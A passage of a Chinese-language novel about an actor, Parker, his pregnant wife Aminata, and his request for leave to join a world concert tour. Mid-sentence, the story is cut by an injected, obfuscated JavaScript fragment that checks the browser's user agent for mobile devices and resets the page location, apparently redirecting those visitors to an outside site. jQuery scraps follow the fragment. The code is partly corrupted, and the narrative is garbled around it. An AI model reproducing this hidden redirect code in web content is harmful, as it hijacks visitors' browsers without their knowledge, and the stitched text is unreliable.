「怕我不夠好。」他回答。這話一出口，像某種沉重的秘密，在兩人之間發出輕微的迴響。

    阿米娜塔愣了一下，隨即輕輕笑了，那笑容中混著些許複雜的情緒，像夏末傍晚的天色，光明與陰影交織。「你很好。只是……有時候太軟弱。」

    「也許吧。」帕爾克沒有反駁，他合上筆電，將它放在茶几上，然後伸出手，輕輕放在她擱在沙發扶手上的手上。那一刻，他的指尖微微發抖，那顫抖像是一種無聲的自我坦承。

    兩人誰也沒說話。從落地窗滲進來的光線柔和地落在他們的側臉上，給兩人鍍上了一層薄薄的金邊。靜默像一條溫和的河流，在時間裡緩緩延伸。

    「明天我去醫院做產檢。」阿米娜塔開口，打破了靜默。她的語氣一下子變得務實，將他們從剛才的情緒漩渦中抽離。「醫生說下次要做胎兒結構的檢查。你可能趕不及吧？」

    帕爾克沉默片刻，輕輕點頭，他的大拇指在她手背上輕輕摩挲了一下。「明天公司有排練，我得去。可我會打電話問結果。」

    「不用打。」她說，語氣平靜得沒有一絲波瀾，像已經預知了結局。「我會傳訊息給你。」

    「那……好。」帕爾克鬆開了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536796|132887||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    她的手，坐直了身子。

    阿米娜塔站起身，拿起水杯，準備回房。她走到臥室門口時，又轉過頭，將水杯輕輕放在門邊的小桌上。「帕爾克，下個月你出國前，我們應該把陪產的事情確定好。你去巡演，我不希望臨時出狀況。」

    「我知道。」他承諾，聲音比剛才堅定了一些。

    「還有，」她頓了頓，眼神比任何時候都平靜卻銳利，像一把擦亮的匕首，直指他心底的猶豫。「不要太信任公司。那些說要讓新人發光的人，最後只會挑最聽話的留下。」

    帕爾克抬頭，看著她背影漸漸消失在臥室門後，喉嚨裡湧起許多話卻一個字都沒說。

    燈光下的客廳顯得格外靜。他重新打開筆電，看著那份全球演出行程表——倫敦、維也納、巴黎、柏林——最後一站：五月七日，返國。

    他閉上眼，腦中浮現的是那張超音波影像中還模糊的身影。

    他想，也許自己不是一個好丈夫。

    但至少，他要讓這個家過得好一點。

    窗外的風再一次吹過，遠方的夜色深得幾乎要滴下墨來。整個斯桐蓋特鄉靜默無聲，只剩下一戶人家的燈光，還亮著，像是在與寒夜抗衡。

    第二天天色尚淺，帕爾克便醒了。窗簾縫裡的白光像一條細線，把夜與晨縫在一起。他和阿米娜塔簡單吃了些麵包，沒有多說話，便出門上車。車子沿著通往伊希卡瓦電影廠的道路滑行，樹梢仍沾著露。到了廠門口，他先下車，替她關上車門，低聲說：「晚點傳訊息。」她點頭，手握方向盤，車尾燈在霧裡一亮，隨即遠去，轉向她自己的工作地。

    廠區的走廊打著冷白的燈，牆上貼著未來兩季的拍攝表。帕爾克敲開辦公室，執行長莫瑞塔·蔻吉若抬眼，手指還按在一份排期上。

    「莫瑞塔先生，下個月我要隨新音國際開啟全球演出。明年五月才回。網路電影這邊恐怕接不上節奏，所以想申請無薪假，到明年五月份。」

    莫瑞塔